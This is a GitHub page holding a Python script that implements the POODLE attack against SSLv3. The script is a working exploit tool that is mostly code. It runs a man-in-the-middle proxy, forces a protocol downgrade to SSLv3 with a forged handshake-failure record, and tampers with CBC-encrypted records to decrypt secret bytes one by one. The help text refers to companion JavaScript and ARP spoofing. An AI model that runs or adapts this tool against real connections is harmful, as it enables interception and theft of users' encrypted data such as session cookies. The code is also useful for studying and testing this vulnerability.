-
-
Notifications
You must be signed in to change notification settings - Fork 74
/
poodle-exploit.py
303 lines (276 loc) · 14.4 KB
/
poodle-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Poodle attack implementation
Author: mpgn <[email protected]>
Created: 03/2018 - Python3
License: MIT
'''
import argparse
import binascii
import os
import re
import select
import socket
import socketserver
import struct
import sys
import threading
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
MAJ = '\033[45m'
BLUE = '\033[44m'
ORANGE = '\033[43m'
CYAN = '\033[46m'
RED = '\033[41m'
GREEN = '\033[42m'
YELLOW = '\033[100m'
class Poodle():
def __init__(self):
self.length_block = 8
self.length_block_found = False
self.first_packet_found = False
self.find_block_length = False
self.first_packet = ''
self.ssl_header = ''
self.frame = ''
self.data_altered = False
self.decipherable = False
self.count = 0
self.decipher_byte = ""
self.secret = []
self.length_request = 0
self.current_block = args.start_block
self.secret_block = []
self.packet_count = 0
self.downgrade = False
self.length_previous_block = 0
def exploit(self, content_type, version, length, data):
# if data and the data is not a favicon check #7
if content_type == 23 and length > 24 and length >= len(self.first_packet):
traffic.favicon = True
# save the first packet, so we can generate a wrong HMAC when we want
# TODO : remove this and just alter the last byte of the packet when length of the
# block is found
if self.first_packet_found == False:
self.first_packet = data
self.ssl_header = struct.pack('>BHH', content_type, version, length)
self.first_packet_found = True
# find the length of a block and return an HMAC error when we find the length
if self.find_block_length == True:
if poodle.find_size_of_block(length) == 1:
return self.first_packet, self.ssl_header
# exploit exploit exploit
if self.length_block_found == True:
self.data_altered = True
if args.stop_block == 0:
self.total_block = (len(data)/self.length_block)-2
else:
self.total_block = args.stop_block
request = self.split_len(binascii.hexlify(data), 16)
request[-1] = request[self.current_block]
pbn = request[-2]
pbi = request[self.current_block - 1]
self.decipher_byte = chr((self.length_block-1) ^ int(pbn[-2:],16) ^ int(pbi[-2:],16))
sys.stdout.write("\r[+] Sending request \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
sys.stdout.flush()
data = binascii.unhexlify(b''.join(request))
return data, struct.pack('>BHH', content_type, version, length)
def decipher(self):
self.secret_block.append(self.decipher_byte.encode("unicode_escape").decode("utf-8"))
sys.stdout.write("\r[+] Sending request \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
sys.stdout.flush()
if len(self.secret_block) == self.length_block and self.current_block < (self.total_block):
print('')
self.secret += self.secret_block[::-1]
self.current_block = self.current_block + 1
self.secret_block = []
elif len(self.secret_block) == self.length_block and self.current_block == self.total_block:
# stop the attack and go to passive mode
self.secret += self.secret_block[::-1]
self.secret_block = []
poodle.length_block_found = False
print('\nStopping the attack...')
def decipher2(self):
print(self.decipher_byte.encode("unicode_escape").decode("utf-8"))
def split_len(self, seq, length):
return [seq[i:i+length] for i in range(0, len(seq), length)]
def find_size_of_block(self, length_current_block):
print(str(length_current_block), str(self.length_previous_block), str(length_current_block - self.length_previous_block))
if (length_current_block - self.length_previous_block) == 8 or (length_current_block - self.length_previous_block) == 16:
print("CBC block size " + str(length_current_block - self.length_previous_block))
self.length_block = length_current_block - self.length_previous_block
return 1
else:
self.length_previous_block = length_current_block
return 0
class Traffic():
def __init__(self):
self.protocol_all = { 768:[' SSLv3.0 ',bcolors.RED], 769:[' TLSv1.0 ',bcolors.GREEN], 770:[' TLSv1.1 ',bcolors.GREEN], 771:[' TLSv1.2 ',bcolors.GREEN], 772:[' TLSv1.3 ',bcolors.GREEN]}
self.protocol_current = ''
self.protocol_current_color = bcolors.GREEN
self.protocol_downgrade = 0
self.favicon = False
def info_traffic(self, color1, protocol, color2, status):
print(''.rjust(int(columns)-20) + color1 + bcolors.BOLD + protocol + color2 + bcolors.BOLD + status + bcolors.ENDC)
class ProxyTCPHandler(socketserver.BaseRequestHandler):
"""
The proxy respond to the CONNECT packet then just forward SSL packet to the server
or the client. When active mode is enabled, the proxy alter the encrypted data send
to the serveur
"""
def handle(self):
# Connection to the secure server
socket_server = socket.create_connection((args.server, args.rport))
# input allow us to monitor the socket of the client and the server
inputs = [socket_server, self.request]
running = True
connect = args.simpleProxy
while running:
readable = select.select(inputs, [], [])[0]
for source in readable:
if source is socket_server:
try:
data = socket_server.recv(1024)
except socket.error as err:
running = False
break
# print 'Server -> proxy -> client'
if len(data) == 0:
running = False
break
(content_type, version, length) = struct.unpack('>BHH', data[0:5])
if poodle.data_altered == True:
poodle.count = poodle.count + 1
if content_type == 23:
# 23 -> Application data (no HMAC error)
poodle.decipher()
poodle.count = 0
# elif content_type == 21:
# 21 -> HMAC error
poodle.data_altered = False
poodle.packet_count += 1
if poodle.find_block_length == False and poodle.length_block_found == False and poodle.downgrade == False:
sys.stdout.write("\r[OK] -> packed send and receive %3s %s %s" % (poodle.packet_count, ''.rjust(int(columns)-56), traffic.protocol_current_color + traffic.protocol_current + bcolors.BLUE + bcolors.BOLD + ' passive ' + bcolors.ENDC))
# cursor at the end, tssss
sys.stdout.write("\r[OK] -> packed send and receive %3s" % (poodle.packet_count))
sys.stdout.flush()
if poodle.downgrade == True and traffic.protocol_current != ' SSLv3.0 ' and traffic.protocol_downgrade == 0:
print("Sending handshake failure")
self.request.send(binascii.unhexlify("15030000020228"))
traffic.protocol_downgrade = 1
poodle.downgrade == False
else:
# we send data to the client
self.request.send(data)
elif source is self.request:
if connect == True:
# print 'Client -> proxy'
data = self.request.recv(1024)
connect = False
if 'CONNECT' in str(data):
data = "HTTP/1.0 200 Connection established\r\n\r\n"
self.request.send(data.encode())
break
else:
# print 'Client -> proxy -> server'
try:
ssl_header = self.request.recv(5)
except struct.error as err:
break
if ssl_header == '':
running = False
break
try:
(content_type, version, length) = struct.unpack('>BHH', ssl_header)
# print("client -> server", str(content_type), str(version), str(length))
try:
traffic.protocol_current = traffic.protocol_all[version][0]
traffic.protocol_current_color = traffic.protocol_all[version][1]
except KeyError as err:
# avoid error if the protocol is SSLv2.0
traffic.protocol_current = traffic.protocol_all[length][0]
traffic.protocol_current_color = traffic.protocol_all[length][1]
except struct.error as err:
# avoid error in chrome browser
return
if traffic.protocol_downgrade == 1 and content_type == 23:
traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.YELLOW, ' downgrade ')
traffic.protocol_downgrade = 0
data = self.request.recv(length)
(data, ssl_header) = poodle.exploit(content_type, version, length, data)
data_full = ssl_header+data
# we send data to the server
poodle.packet_count += 1
socket_server.send(data_full)
return
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Poodle Exploit by @mpgn_x64')
parser.add_argument('proxy', help='ip of the proxy')
parser.add_argument('port', type=int, help='port of the proxy')
parser.add_argument('server', help='ip of the remote server')
parser.add_argument('rport', type=int, help='port of the remote server')
parser.add_argument('--start-block', type=int, default=1, help='start the attack at this block')
parser.add_argument('--stop-block', type=int, default=0, help='stop the attack at this block')
parser.add_argument('--simpleProxy', type=int, default=0, help='Direct proxy, no ARP spoofing attack')
args = parser.parse_args()
rows, columns = os.popen('stty size', 'r').read().split()
# Create server and bind to set ip
poodle = Poodle()
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer((args.proxy, args.port), ProxyTCPHandler)
proxy = threading.Thread(target=httpd.serve_forever)
proxy.daemon=True
proxy.start()
traffic = Traffic()
print('Proxy is launched on {!r} port {}'.format(args.proxy, args.port))
print('Passive mode enabled by default')
print('\nType help to show all command line, ' + bcolors.BLUE + bcolors.BOLD + 'passive' + bcolors.ENDC + ' mode is by default enabled\n')
#print(''.rjust(int(columns)-9) + bcolors.BLUE + bcolors.BOLD + ' passive ' + bcolors.ENDC)
while True:
try:
input_u = input(bcolors.BOLD + "> " + bcolors.ENDC)
if input_u == 'active':
print('Active mode enabled, waiting for data... sendAttack()')
poodle.find_block_length = False
poodle.length_block_found = True
poodle.downgrade = False
traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.MAJ, ' active ')
elif input_u == 'search':
print('Waiting for data... findlengthblock()')
poodle.find_block_length = True
poodle.length_block_found = False
poodle.downgrade = False
traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.ORANGE, ' search ')
elif input_u == 'downgrade':
print('Downgrade the protocol to SSLv3')
poodle.downgrade = True
elif input_u == "passive":
print('Passive mode enabled')
poodle.find_block_length = False
poodle.length_block_found = False
poodle.length_block = 8
poodle.downgrade = False
traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.BLUE, ' passive ')
elif input_u == "help":
print('~~~~Help command line~~~~\n')
print(bcolors.BOLD + 'downgrade' + bcolors.ENDC + ': downgrade the protocol to SSLv3 (not working on firefox)')
print(bcolors.BOLD + 'search' + bcolors.ENDC + ': find the block length (8 or 16). Use the command findlengthblock() in JS after launch this command')
print(bcolors.BOLD + 'active' + bcolors.ENDC + ': active mode alter the data. Use the command sendAttack() in the JS after launch this command ')
print(bcolors.BOLD + 'passive' + bcolors.ENDC + ': passive mode does not alter the data. Use the command reset() in the JS after launch this command ')
print(bcolors.BOLD + 'exit' + bcolors.ENDC + ': show deciphered byte and exit the program properly')
elif input_u == "exit":
print("Exiting...")
break
except KeyboardInterrupt:
print("Exiting...")
print("Stopping proxy... bye bye")
break
print("\n\033[32m{-} Deciphered plaintext\033[0m :", ('').join(poodle.secret))